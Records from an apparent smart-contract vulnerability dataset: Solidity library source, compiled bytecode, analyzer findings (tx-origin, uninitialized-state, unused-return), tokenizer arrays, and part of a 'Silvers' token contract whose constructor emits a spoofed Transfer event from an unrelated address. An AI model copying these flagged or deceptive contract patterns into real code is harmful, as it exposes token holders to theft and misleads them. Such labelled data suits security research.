set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. */ function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key) return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {_tryGet}. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryGet}. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x608060405234801561001057600080fd5b50600436106101365760003560e01c80634f6ccce7116100b257806395d89b4111610081578063b88d4fde11610066578063b88d4fde1461069f578063c87b56dd146107a4578063e985e9c51461084b57610136565b806395d89b41146105cc578063a22cb4651461064f57610136565b80634f6ccce7146104575780636352211e146104995780636c0360eb146104f157806370a082311461057457610136565b806318160ddd1161010957806323b872dd116100ee57806323b872dd146103195780632f745c591461038757806342842e0e146103e957610136565b806318160ddd146102c75780631d60ce8a146102e557610136565b806301ffc9a71461013b57806306fdde031461019e578063081812fc14610221578063095ea7b314610279575b600080fd5b6101866004803603602081101561015157600080fd5b8101908080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690602001909291905050506108c5565b60405180821515815260200191505060405180910390f35b6101a661092c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101e65780820151818401526020810190506101cb565b50505050905090810190601f1680156102135780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61024d6004803603602081101561023757600080fd5b81019080803590602001909291905050506109ce565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102c56004803603604081101561028f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109e0565b005b6102cf610ad2565b6040518082815260200191505060405180910390f35b6102ed610adc565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103856004803603606081101561032f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b02565b005b6103d36004803603604081101561039d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bb0565b6040518082815260200191505060405180910390f35b610455600480360360608110156103ff57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c0b565b005b6104836004803603602081101561046d57600080fd5b8101908080359060200190929190505050610c2b565b6040518082815260200191505060405180910390f35b6104c5600480360360208110156104af57600080fd5b8101908080359060200190929190505050610c4e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104f9610d25565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561053957808201518184015260208101905061051e565b50505050905090810190601f1680156105665780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105b66004803603602081101561058a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dc7565b6040518082815260200191505060405180910390f35b6105d4610f0c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106145780820151818401526020810190506105f9565b50505050905090810190601f1680156106415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61069d6004803603604081101561066557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610fae565b005b6107a2600480360360808110156106b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561071c57600080fd5b82018360208201111561072e57600080fd5b8035906020019184600183028401116401000000008311171561075057600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506110c9565b005b6107d0600480360360208110156107ba57600080fd5b8101908080359060200190929190505050611178565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108105780820151818401526020810190506107f5565b50505050905090810190601f16801561083d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6108ad6004803603604081101561086157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611254565b60405180821515815260200191505060405180910390f35b6000806000837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060009054906101000a900460ff169050919050565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109c45780601f10610999576101008083540402835291602001916109c4565b820191906000526020600020905b8154815290600101906020018083116109a757829003601f168201915b5050505050905090565b60006109d982610c4e565b9050919050565b60006109eb82611260565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a72576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806119686021913960400191505060405180910390fd5b818373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a4505050565b60006101c9905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080610b0e83611297565b91509150610b1b83610c4e565b73ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614610b9e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806119896024913960400191505060405180910390fd5b610ba98483836112b9565b5050505050565b6000610c0382600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206114d890919063ffffffff16565b905092915050565b610c26838383604051806020016040528060008152506110c9565b505050565b600080610c428360026114f290919063ffffffff16565b50905080915050919050565b6000806000610c5c84611297565b91509150600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e039e4a183836040518363ffffffff1660e01b8152600401808360ff1681526020018260ff1681526020019250505060206040518083038186803b158015610ce157600080fd5b505afa158015610cf5573d6000803e3d6000fd5b505050506040513d6020811015610d0b57600080fd5b810190808051906020019092919050505092505050919050565b606060098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610dbd5780601f10610d9257610100808354040283529160200191610dbd565b820191906000526020600020905b815481529060010190602001808311610da057829003601f168201915b5050505050905090565b6000806000905060005b60218160ff161015610f025760005b60218160ff161015610ef4578473ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e039e4a184846040518363ffffffff1660e01b8152600401808360ff1681526020018260ff1681526020019250505060206040518083038186803b158015610e8457600080fd5b505afa158015610e98573d6000803e3d6000fd5b505050506040513d6020811015610eae57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1614610ee05782610ee5565b600183015b92508080600101915050610de0565b508080600101915050610dd1565b5080915050919050565b606060078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610fa45780601f10610f7957610100808354040283529160200191610fa4565b820191906000526020600020905b815481529060010190602001808311610f8757829003601f168201915b5050505050905090565b610fb661151e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611057576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f4552433732313a20617070726f766520746f2063616c6c65720000000000000081525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1661107661151e565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405180821515815260200191505060405180910390a35050565b6000806110d584611297565b915091506110e284610c4e565b73ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614611165576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806119896024913960400191505060405180910390fd5b6111708583836112b9565b505050505050565b60606000611184610d25565b90508061119084611526565b6040516020018083805190602001908083835b602083106111c657805182526020820191506020810190506020830392506111a3565b6001836020036101000a03801982511681845116808217855250505050505090500182805190602001908083835b6020831061121757805182526020820191506020810190506020830392506111f4565b6001836020036101000a03801982511681845116808217855250505050505090500192505050604051602081830303815290604052915050919050565b60006001905092915050565b60006112908260405180606001604052806029815260200161191d60299139600261166d9092919063ffffffff16565b9050919050565b600080602183816112a457fe5b069050602183816112b157fe5b049150915091565b6112d88373ffffffffffffffffffffffffffffffffffffffff1661168c565b1561132e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806118f86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806118d46024913960400191505060405180910390fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637d5fec5a8383866040518463ffffffff1660e01b8152600401808460ff1681526020018360ff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019350505050600060405180830381600087803b15801561145557600080fd5b505af1158015611469573d6000803e3d6000fd5b505050508060ff1660218360ff1602018373ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b60006114e7836000018361169f565b60001c905092915050565b6000806000806115058660000186611722565b915091508160001c8160001c9350935050509250929050565b600033905090565b6060600082141561156e576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050611668565b600082905060005b60008214611598578080600101915050600a828161159057fe5b049150611576565b60008167ffffffffffffffff811180156115b157600080fd5b506040519080825280601f01601f1916602001820160405280156115e45781602001600182028036833780820191505090505b50905060006001830390508593505b6000841461166057600a848161160557fe5b0660300160f81b8282806001900393508151811061161f57fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a848161165857fe5b0493506115f3565b819450505050505b919050565b6000611680846000018460001b846117bb565b60001c90509392505050565b600080823b905060008111915050919050565b600081836000018054905011611700576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806118b26022913960400191505060405180910390fd5b82600001828154811061170f57fe5b9060005260206000200154905092915050565b60008082846000018054905011611784576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806119466022913960400191505060405180910390fd5b600084600001848154811061179557fe5b906000526020600020906002020190508060000154816001015492509250509250929050565b60008084600101600085815260200190815260200160002054905060008114158390611882576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561184757808201518184015260208101905061182c565b50505050905090810190601f1680156118745780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5084600001600182038154811061189557fe5b906000526020600020906002020160010154915050939250505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e64734552433732313a207472616e7366657220746f20746865207a65726f20616464726573734552433732313a2063616e6e6f74207472616e7366657220746f206120636f6e74726163744552433732313a206f776e657220717565727920666f72206e6f6e6578697374656e7420746f6b656e456e756d657261626c654d61703a20696e646578206f7574206f6620626f756e64734552433732313a20617070726f76616c20746f2063757272656e74206f776e65724552433732313a207472616e736665722063616c6c6572206973206e6f74206f776e6572a264697066735822122077974e21df9c933efb8899052bf2298864ba75d5bac5f42d9eaec166c35b214264736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'tx-origin', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2549, 3207, 6305, 16068, 2683, 23352, 23352, 26337, 2581, 2581, 2278, 2683, 2683, 2487, 15878, 23352, 2692, 2575, 16409, 23352, 2487, 2497, 27814, 18139, 2683, 2497, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1021, 1012, 1020, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 4769, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 9413, 2278, 2581, 17465, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 7817, 1012, 14017, 1000, 1025, 8278, 4949, 12260, 21596, 13465, 7373, 6299, 1063, 3853, 2131, 12260, 21596, 1006, 21318, 3372, 2620, 8902, 1010, 21318, 3372, 2620, 5216, 1007, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,765
0x974e272a25eaf0d6F09f6F4A3d7ded43e01E4CA2
/* https://t.me/silverstoken/ */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Silvers is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Silvers"; string private constant _symbol = "SILVERS"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xb3f538dcd6e507b0C2C86a5E7B83C986dAD6aF81); _feeAddrWallet2 = payable(0xb3f538dcd6e507b0C2C86a5E7B83C986dAD6aF81); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x8DB2641a10a85a7Af0b818659D23E15aB92D325d), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 1; _feeAddr2 = 1; if (from != owner() && to != 